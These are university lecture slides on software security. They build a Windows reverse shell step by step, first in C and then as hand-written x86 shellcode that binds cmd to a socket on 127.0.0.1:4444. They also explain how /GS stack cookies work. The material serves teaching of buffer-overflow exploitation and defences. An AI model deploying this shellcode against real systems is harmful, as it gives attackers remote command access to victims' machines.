Software Security
Lecture 4

Dr. Michael Kiperberg
michaki1@sce.ac.il

Topic 7 – Reverse Shell
Demo: 1-buffer-overflow\5-reverse-shell

```
#pragma comment(lib,"Ws2_32.lib")

void main(void) {
    WSADATA d;
    WSAStartup(sizeof(d), &d);
    SOCKET s = WSASocketA(2 /*AF_INET*/, 1 /*SOCK_STREAM*/,
    struct sockaddr_in addr = { 0 };
    addr.sin_addr.S_un.S_addr = 0x0100007F; // 127.0.0.1
    addr.sin_port = 0x5c11; // 4444
    addr.sin_family = 2;
    connect(s, &addr, sizeof(addr));
```

```
PROCESS_INFORMATION pi = { 0 };
STARTUPINFOA sui = { 0 };
sui.dwFlags = STARTF_USESTDHANDLES /*0x100*/;
sui.cb = sizeof(sui);
sui.hStdError = s;
sui.hStdInput = s;
sui.hStdOutput = s;

CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);

ExitProcess(0);
```

Static/Dynamic DLL Loading

- Static
  - `#pragma comment(lib,"Ws2_32.lib")`
- Dynamic
  - HModule m = LoadLibraryA(“ws2_32”)
  - func = GetProcAddress(m, “WSAStartup”);
  - func(...);

```
87    ; ==== LoadLibraryA("ws2_32") ====
88
89    xor ebx, ebx
90    push ebx
91    push 'aryA'
92    push 'Libr'
93    push 'Load'
94    mov eax, esp
95    call GetExportByName ; eax = LoadLibraryA
96
97    xor ebx, ebx
98    mov bx, '32'
99    push ebx
100   push 'ws2_'
101   push esp
102   call eax
103   mov ebp, eax ; ebp = dll
```

```
106   xor ebx, ebx
107   mov bx, 'ss'
108   push ebx
109   push 'ddre'
110   push 'rocA'
111   push 'GetP'
112   mov eax, esp
113   call GetExportByName
114   mov edi, eax ; edi = GetProcAddress
```

```
116     xor ebx, ebx                                ; ==== WSAStartup() ====
117     mov bx, 'up'
118     push ebx
119     push 'tart'                                 WSADATA d;
120     push 'WSAS'                                 WSAStartup(sizeof(d), &d);
121     push esp
122     push ebp
123     call edi ; eax = WSAStartup
124
125     xor ebx, ebx
126     mov bx, 0x0190
127     sub esp, ebx
128     push esp
129     push ebx
130     call eax
```

```
132     ; ==== WSASocketA(2 /*AF_INET
133
134     xor ebx, ebx
135     mov bx, 'tA'
136     push ebx
137     push 'ocke'
138     push 'WSAS'
139     push esp
140     push ebp
141     call edi ; eax = WSASocketA
```

```
143     xor ebx, ebx
144     push ebx
145     push ebx
146     push ebx
147     mov bl, 6
148     push ebx
149     mov bl, 1
150     push ebx
151     mov bl, 2
152     push ebx
153     call eax
154     mov esi, eax ; esi = socket
```

```
SOCKET s = WSASocketA(2 /*AF_INET*/, 1 /*SOCK_STREAM*/, 6
```

```
163
164     mov ebx, 'eect'
165     shr ebx, 8
166     push ebx
167     push 'conn'
168     push esp
169     push ebp
170     call edi ; eax = connect
```

```
172     xor ebx, ebx
173     push ebx
174     push ebx
175     push 0x0100007F
176     push word 0x5c11
177     mov bl, 2
178     push word bx
179     mov edx, esp
180     push byte 16
181     push edx
182     push esi
183     call eax
```

```
struct sockaddr_in addr = { 0 };
addr.sin_addr.S_un.S_addr = 0x0100007F;
addr.sin_port = 0x5c11; // 4444
addr.sin_family = 2;
connect(s, &addr, sizeof(addr));
```

```
225     xor ebx, ebx
226     mov bx, 'sA'
227     push ebx
228     push 'oces'
229     push 'tePr'
230     push 'Crea'
231     mov eax, esp
232     call GetExportByName
233     mov edi, eax ; edi = CreateProcessA
234
235     mov ebx, 'ccmd'
236     shr ebx, 8
237     push ebx
238     mov ecx, esp ; ecx = lpCommandLine
239
240     xor edx, edx ; edx = all the NULLs
241             CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
242     sub esp, 16
243     mov ebx, esp ; ebx = lpProcessInformation
```

```
push esi            ; hStdError
push esi            ; hStdOutput
push esi            ; hStdInput
push edx            ; lpReserved2
push edx            ; wShowWindow/cbReserved2
mov dh, 1
push edx            ; dwFlags = 0x100
xor edx, edx
push edx            ; dwFillAttribute
...
push edx            ; lpReserved
mov dl, 44
push edx            ; cb (size)
xor edx, edx
mov eax, esp        ; eax = lpStartupInfo
```

```
push ebx            ; lpProcessInformation
push eax            ; lpStartupInfo
push edx            ;
push edx
push edx
xor eax, eax
inc eax
push eax
push edx
push edx
push ecx
push edx

call edi
```

```
CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
```

```
285     mov ebx, 'eess'
286     shr ebx, 8
287     push ebx
288     push 'Proc'
289     push 'Exit'
290     mov eax, esp
291     call GetExportByName
292
293     xor ebx, ebx
294     push ebx
295     call eax
```

```
ExitProcess(0);
```

DEMO

Topic 8 – Security Cookies
Demo: 1-buffer-overflow\6-cookies

Removing /GS-

- Entry Point:

```
CALL demo.__security_init_cookie
```

- Prologue:

```
MOV EAX,[__security_cookie]
XOR EAX,EBP
MOV [EBP-4],EAX
```

-

- Epilogue:

```
MOV ECX,[EBP-4]
XOR ECX,EBP
CALL demo.__security_check_cookie
```

```
__security_check_cookie | CMP ECX,[__security_cookie]
                        | JNZ SHORT demo.00401105
                        | RET
                        | JMP demo.__report_gsfailure
```

Why XOR EBP?

- Without XOR’ing with EBP leaking the reference cookie (using an out-of-bounds read, for example) is sufficient to attack.
- XOR’ing with EBP generates a different cookie for every frame

DEMO